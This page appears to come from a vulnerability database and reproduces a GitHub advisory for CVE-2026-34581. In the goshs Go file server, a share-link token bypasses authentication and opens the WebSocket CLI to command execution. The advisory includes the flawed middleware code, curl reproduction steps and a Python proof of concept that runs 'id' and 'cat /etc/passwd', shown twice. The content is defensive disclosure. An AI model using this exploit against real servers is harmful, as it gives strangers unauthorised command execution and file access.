GHSA-JGFX-74G2-9R6G
Vulnerability from github – Published: 2026-04-01 20:58 – Updated: 2026-04-06 17:32Summary
When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.
Details
The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters — including ?ws (WebSocket) which has higher priority than ?token.
// middleware.go:22-30 — token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
_, ok := fs.SharedLinks[token]
if ok {
next.ServeHTTP(w, r) // Full auth bypass
return
}
}
// ... normal auth checks never reached
A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.
1. Create a webroot:
mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt
2. Start goshs with auth + TLS + CLI mode:
/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000
CLI mode requires auth (
-b) and TLS (-s -ss). This is the documented usage — not a weakened config.
3. Verify authentication is required:
curl -sk https://localhost:8000/
Not authorized
4. As a legitimate user, create a share link:
curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'
Response:
{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}
Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).
5. Prove the token bypasses auth for WebSocket:
# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
'https://localhost:8000/?ws'
# 401
# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101
For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.
PoC
import json, ssl, websocket
TOKEN = "gMP-w0hXRs-Q-FEZku63kA" # ← replace with your token
ws = websocket.create_connection(
f"wss://localhost:8000/?ws&token={TOKEN}",
sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")
# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...
# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
ws.close()
A patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34581"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T20:58:48Z",
"nvd_published_at": "2026-04-02T19:21:32Z",
"severity": "HIGH"
},
"details": "### Summary\nWhen using the `Share Token` it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.\n\n### Details\n\nThe `BasicAuthMiddleware` checks for a `?token=` parameter **before** checking credentials. If the token exists in `SharedLinks`, the request passes through with **no auth check at all**. The handler then processes all query parameters \u2014 including `?ws` (WebSocket) which has higher priority than `?token`.\n\n```go\n// middleware.go:22-30 \u2014 token check runs FIRST\ntoken := r.URL.Query().Get(\"token\")\nif token != \"\" {\n _, ok := fs.SharedLinks[token]\n if ok {\n next.ServeHTTP(w, r) // Full auth bypass\n return\n }\n}\n// ... normal auth checks never reached\n```\n\nA share token is designed for **single-file, time-limited downloads**. But the middleware bypass grants access to everything \u2014 directory listing, file deletion, clipboard, WebSocket, and CLI command execution.\n\n\n**1. Create a webroot:**\n\n```bash\nmkdir -p /tmp/goshs-webroot\necho \"shareable file\" \u003e /tmp/goshs-webroot/shareable.txt\n```\n\n**2. Start goshs with auth + TLS + CLI mode:**\n\n```bash\n/tmp/goshs-test -d /tmp/goshs-webroot -b \u0027admin:password\u0027 -s -ss -c -p 8000\n```\n\n\u003e CLI mode requires auth (`-b`) and TLS (`-s -ss`). This is the documented usage \u2014 not a weakened config.\n\n**3. Verify authentication is required:**\n\n```bash\ncurl -sk https://localhost:8000/\nNot authorized\n```\n\n**4. As a legitimate user, create a share link:**\n\n```bash\ncurl -sk -u admin:password \u0027https://localhost:8000/shareable.txt?share\u0027\n```\n\nResponse:\n```json\n{\"urls\":[\"https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA\"]}\n```\n\nSave the token value (e.g., `gMP-w0hXRs-Q-FEZku63kA`).\n\n**5. Prove the token bypasses auth for WebSocket:**\n\n```bash\n# Without token \u2192 401 (blocked)\ncurl -sk -o /dev/null -w \"%{http_code}\" \\\n -H \"Connection: Upgrade\" -H \"Upgrade: websocket\" \\\n -H \"Sec-WebSocket-Version: 13\" -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n \u0027https://localhost:8000/?ws\u0027\n# 401\n\n# With token \u2192 101 Switching Protocols (auth bypassed!)\ncurl -sk -o /dev/null -w \"%{http_code}\" \\\n -H \"Connection: Upgrade\" -H \"Upgrade: websocket\" \\\n -H \"Sec-WebSocket-Version: 13\" -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n \u0027https://localhost:8000/?ws\u0026token=gMP-w0hXRs-Q-FEZku63kA\u0027\n# 101\n```\n\nFor a Full PoC, you can run the python file attached below, it will run `id` and `cat /etc/passwd`.\n\n\n\n\n### PoC\n\n``` python\nimport json, ssl, websocket\n\nTOKEN = \"gMP-w0hXRs-Q-FEZku63kA\" # \u2190 replace with your token\n\nws = websocket.create_connection(\n f\"wss://localhost:8000/?ws\u0026token={TOKEN}\",\n sslopt={\"cert_reqs\": ssl.CERT_NONE},\n)\nprint(\"[+] Connected WITHOUT credentials!\")\n\n# Execute \u0027id\u0027\nws.send(\u0027{\"type\":\"command\",\"Content\":\"id\"}\u0027)\nimport time; time.sleep(1)\nresp = json.loads(ws.recv())\nprint(f\"Output: {resp[\u0027content\u0027]}\")\n# uid=501(youruser) gid=20(staff) ...\n\n# Execute \u0027cat /etc/passwd\u0027\nws.send(\u0027{\"type\":\"command\",\"Content\":\"cat /etc/passwd\"}\u0027)\ntime.sleep(1)\nresp = json.loads(ws.recv())\nprint(f\"Output: {resp[\u0027content\u0027]}\")\n\nws.close()\n```\nA patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.",
"id": "GHSA-jgfx-74g2-9r6g",
"modified": "2026-04-06T17:32:15Z",
"published": "2026-04-01T20:58:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jgfx-74g2-9r6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34581"
},
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/commit/6fb224ed15c2ccc0c61a5ebe22f2401eb06e9216"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickhener/goshs"
},
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "goshs has Auth Bypass via Share Token"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.